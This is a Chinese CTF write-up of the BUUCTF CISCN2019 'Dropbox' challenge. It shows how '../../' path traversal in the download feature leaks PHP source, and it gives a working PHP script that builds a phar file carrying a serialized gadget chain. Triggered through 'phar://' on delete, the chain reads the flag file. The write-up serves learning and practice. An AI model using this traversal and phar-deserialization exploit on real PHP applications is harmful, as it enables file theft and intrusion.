BUUCTF [CISCN2019 华北赛区 Day1 Web1]Dropbox 1

2023-12-30 02:40

本文主要是介绍BUUCTF [CISCN2019 华北赛区 Day1 Web1]Dropbox 1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

进入页面随便注册一个账号,登录。
在这里插入图片描述
随便上传一个图片。
用burpsuite拦截下载页面,里面有任意文件下载文件,可以下载源码。
在这里插入图片描述
../../index.php格式把index.php,download.php, delete.php下载,打开发现用到class.php,也下了。

#index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}
?><!DOCTYPE html>
<html><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title><head><link href="static/css/bootstrap.min.css" rel="stylesheet"><link href="static/css/panel.css" rel="stylesheet"><script src="static/js/jquery.min.js"></script><script src="static/js/bootstrap.bundle.min.js"></script><script src="static/js/toast.js"></script><script src="static/js/panel.js"></script>
</head><body><nav aria-label="breadcrumb"><ol class="breadcrumb"><li class="breadcrumb-item active">管理面板</li><li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li><li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li></ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div><?php
include "class.php";$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
#download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}if (!isset($_POST['filename'])) {die();
}include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {Header("Content-type: application/octet-stream");Header("Content-Disposition: attachment; filename=" . basename($filename));echo $file->close();
} else {echo "File not exist";
}
?>
#delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}if (!isset($_POST['filename'])) {die();
}include "class.php";chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {$file->detele();Header("Content-type: application/json");$response = array("success" => true, "error" => "");echo json_encode($response);
} else {Header("Content-type: application/json");$response = array("success" => false, "error" => "File not exist");echo json_encode($response);
}
?>
#class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {public $db;public function __construct() {global $db;$this->db = $db;}public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {return false;}return true;}public function add_user($username, $password) {if ($this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;}public function verify_user($username, $password) {if (!$this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {return true;}return false;}public function __destruct() {$this->db->close();}
}class FileList {private $files;#files[File对象]private $results;#resules[filename][function]存function方法执行后的结果private $funcs;#funcitonpublic function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {$file = new File();$file->open($path . $filename);#     $file = true or falsearray_push($this->files, $file);# 把File对象加入到files数组$this->results[$file->name()] = array(); #results 是个数组,保存以我们上传的文件名作为键值,每个文件名键值映射一个数组}}public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) { #file就是每个我们上传文件的File对象$this->results[$file->name()][$func] = $file->$func();}}public function __destruct() {$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table .= '<thead><tr>';foreach ($this->funcs as $func) {$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';}$table .= '<th scope="col" class="text-center">Opt</th>';$table .= '</thead><tbody>';foreach ($this->results as $filename => $result) {$table .= '<tr>';foreach ($result as $func => $value) {$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';$table .= '</tr>';}echo $table;}
}class File {public $filename;public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {return true;} else {return false;}}public function name() {return basename($this->filename);}public function size() {$size = filesize($this->filename);$units = array(' B', ' KB', ' MB', ' GB', ' TB');for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];}public function detele() {unlink($this->filename);}public function close() {return file_get_contents($this->filename);}
}
?>

重点是class.php。
留意到File类的close()方法里有file_get_contents(),可以用来读取flag.txt。
怎么读取?
得先看看User类,他有销毁时自动调用的魔术方法 __destruct() {$this->db->close();}。调用db变量的close()方法。此时如果db是FileList对象,则因为FileList类没有close()方法,会自动调用__call($func, $args)方法。

__call() 当所调用的成员方法不存在(或者没有权限)该类时调用有。两个参数,第一个参数是,调用这个不存在的方法的方法名,第二个参数是,调用这个不存在的方法的方法参数(调用这个函数时的参数)public function __call($func, $args) {array_push($this->funcs, $func);#$funcs成员变量存放这个不存在的方法的方法名foreach ($this->files as $file) { #file就是每个我们上传文件的File对象$this->results[$file->name()][$func] = $file->$func();#results成员变量是个二维数组,#一维存放我们上传的文件名,#二维存放对应文件在调用不存在的方法后的结果,每个方法对应一个结果}}

最后一步有$file->$func(),即调用File对象($file存的是File对象,后文解释)里与这个不存在的方法名相同名字的方法。
因为这个方法名来自User类的close()方法,所以就调用了File对象的close() {return file_get_contents($this->filename);}。此时如果filename是flag.txt即可以读取里面的内容。

读取后怎么回显呢?
由FileList对象销毁时自动调用的魔术方法 __destruct()实现,里面输出了$table变量,$table变量里有成员变量存有刚刚读出flag.txt的信息。即这一句:

在这里插入图片描述
为什么?此时就要看FileList的成员变量存了什么。

精简了下创建时自动调用的魔术方法__construct
public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);#返回我们上传文件的所有文件名foreach ($filenames as $filename) {$file = new File();array_push($this->files, $file);# 把File对象加入到files数组$this->results[$file->name()] = array(); #results 是个数组,保存以我们上传的文件名作为键值,每个文件名键值映射一个数组。(这个数组在__call方法里存放调用不存在的方法后的结果。)具体看前文的__call方法代码的注释}}

所以此时,$filename对应我们上传的文件名,$result(一维数组)对应文件下所有调用不存在方法的结果(即成员变量$results的第二维),$value对应单个结果的具体值。所以根据__add最后一行的$this->results[$file->name()][$func] = $file->$func();$value可以存放读取flag.txt的结果。

foreach ($this->results as $filename => $result) {$table .= '<tr>';foreach ($result as $func => $value) {$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';$table .= '</tr>';}

说了这么多,页面里我们可操作的就只有上传,下载,删除。因为要调用__destruct,所以只能删除。
但删除操作又怎么能回显flag呢?从最初的解题思路来看,问题就是怎么上传一个有User对象,User对象的db又是Filelist对象,而filename怎么赋值为flag.txt(怎么把对象保存到file成员变量里)等等,这里用的是phar伪协议。里面有个字段(meta-data)用来保存信息,它是序列化后的信息。而phar://伪协议可以让php一些函数自动反序列化这个字段信息,包括file_get_contents()。
payload:
在运行前要把php.ini里的phar字段里的phar.readonly改为phar.readonly = off把前面的分号去掉,还要重启本地服务器(phpenv等等)。

<?php
//phpinfo();class User {public $db;
}class File {public $filename;
}
class FileList {private $files;private $results;private $funcs;public function __construct() {$file = new File();$file->filename = '/flag.php';$this->files = array($file);$this->results = array();$this->funcs = array();}
}@unlink("phar.phar");#删除phar.phar
$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();#提高性能,好像不必要$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new User();
$o->db = new FileList();$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行后在同一路径下得到phar.phar文件,改后缀为jpg上传,点删除用burpsuite拦截,把filename=phar://phar.jpg,即可得到flag。
在这里插入图片描述

疑问
1.为什么任意文件下载不能直接把flag.txt下了?(或许是文件权限问题?)
2.flag文件为什么是txt。

参考
ciscn2019华北赛区半决赛day1_web1题解

这篇关于BUUCTF [CISCN2019 华北赛区 Day1 Web1]Dropbox 1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/551455

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

BUUCTF(34)特殊的 BASE64

使用pycharm时,如果想把代码撤销到之前的状态可以用 Ctrl+z 如果不小心撤销多了,可以用 Ctrl+Shift+Z 还原, 别傻傻的重新敲了 BUUCTF在线评测 (buuoj.cn) 查看字符串,想到base64的变表 这里用的c++的标准程序库中的string,头文件是#include<string> 这是base64的加密函数 std::string

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

2014年ACM/ICPC亚洲区现场赛广州赛区总结

本来不想提这件事的,后来学姐找我谈心时提到这件事,我突然意识到在这件事情上我错了一次,明明答应的去参加这场比赛,最后临时决定不去......其实中间有很多很多原因 1:我和tyh,sxk临时不去主要是广州太远,我们身上money不够,呵呵。。。别笑我们,你以为我们是高富帅啊,去一趟广州消费要2个月的生活费,奖学金又没发,你让我找我妈要她辛辛苦苦挣来的工资吗?!从哈尔滨到广州单来回的火车票每个人就

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨

HTML/CSS/JS学习笔记 Day1(HTML)

跟着该视频学习,记录笔记:【黑马程序员pink老师前端入门教程,零基础必看的h5(html5)+css3+移动端前端视频教程】https://www.bilibili.com/video/BV14J4114768?p=12&vd_source=04ee94ad3f2168d7d5252c857a2bf358 Day1 内容梳理: 目录 HTML 0. 概述 0.1 HTML介绍 0

第一个Java程序 - Java学习日记 DAY1

第一个Java程序 在文件夹中,新建一个文本文件 重命名为:helloworld.java 用记事本打开此文件,编写第一行 此时,我们创建了一个公开的类,类名叫helloworld,需要注意类名要和文件名的名字一致 第二行是公开的静态的无返回值的main方法,里面是一个string类型的数组 第三行则是系统输出打印hello world 0904 以上皆为比较简单了解,CTRL+S

BUUCTF—[网鼎杯 2020 朱雀组]phpweb

题解 打开题目是这样子的。 啥也不管抓个包看看,从它返回的信息判断出func后面的是要调用的函数,p后面的是要执行的内容。 那我们直接执行个系统命令看看,可以看到返回了hack,估计是做了过滤。 func=system&p=ls 直接读取源码看看咯,可以看到过滤了好多函数,反正我认识的可以进行命令执行的函数都给禁了。 func=file_get_contents&p=ind

[CISCN2019 华东南赛区]Web111

考点: xff ssti 打开看到页面存在IP和XFF,右上角是咱们自己的IP 看到现在,可以想到尝试一下xff,当我们bp抓包后,添加xff,我们可以发现右上角的Current IP发生了变化,并且当我们输入什么他就会变成什么,这时候就应该想到ssti注入了 进行注入发现是Smarty 模板注入(好像页面下面也有提示"Bulid with Smarty",……不过没关系),可以

算法训练营——day1数组二分查找

数组是存放在连续空间上的相同数据类型的集合。 注意:下标从0开始;内存空间连续。 正因为数组的内存地址空间连续,所以在删除、添加元素的时候需要移动其他元素。 数组的元素不能删除,只能覆盖! 二维数组特殊 在C++中,二位数组在内存中也是连续的,相当于多个一维数组。 void test_arr() {int array[2][3] = {{0, 1, 2},{3, 4, 5